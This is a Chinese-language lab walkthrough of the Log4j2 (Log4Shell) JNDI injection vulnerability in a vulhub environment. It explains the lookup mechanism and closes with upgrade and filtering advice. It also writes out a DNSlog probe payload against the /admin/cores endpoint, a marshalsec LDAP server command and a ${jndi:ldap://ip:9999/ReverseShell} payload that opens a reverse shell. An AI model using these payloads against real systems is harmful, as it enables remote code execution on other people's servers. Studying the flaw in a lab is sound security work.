您的位置首页生活百科

Log4J2漏洞原理详解及复现

Log4J2漏洞原理详解及复现

的有关信息介绍如下:

Log4J2漏洞原理详解及复现

环境搭建

首先,我们基于vulhub环境进行搭建,通过命令行启动容器:docker-compose up -d。确认服务运行良好后,访问8983端口,检查是否成功连接。

漏洞原理深入剖析

Apache Log4j2作为开源日志管理库,为Java应用程序提供强大日志功能。它允许使用logger.info("{}", input)格式化参数,但当输入为${java:version}时,它会解析并返回实际的Java版本,这就存在潜在的安全风险。当用户可控的输入包含${jndi:rmi://}或${jndi:ldap://}时,可能会触发JNDI注入漏洞,允许远程加载恶意类并执行代码。

有关JNDI注入的详细讲解,可以参考Fastjson复现篇中的相关描述,这里我们选择使用LDAP作为示例。

漏洞复现实战

漏洞位于/admin/cores接口,通过调整action参数进行探测。初始尝试payload为${jndi:ldap://${java:version}.http://xxx.dnslog.cn},如果返回的是Java版本,就证实了漏洞的存在和可利用性。

远程加载与反弹shell

为了进一步复现,我们可以使用marshalsec工具开启LDAP服务,如:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://ip/#ReverseShell' 9999。Kali Linux作为监听端,接收来自${jndi:ldap://ip:9999/ReverseShell}的payload,成功触发反弹shell攻击。

安全防范与升级

为了防止此类漏洞,建议尽快将Log4j2升级至2.15.0-rc1或更高版本,同时在配置中禁用或过滤掉对敏感字符串如jndi、rmi、ldap等的解析。记得在每个项目中及时更新并实施安全策略,确保系统的安全防护。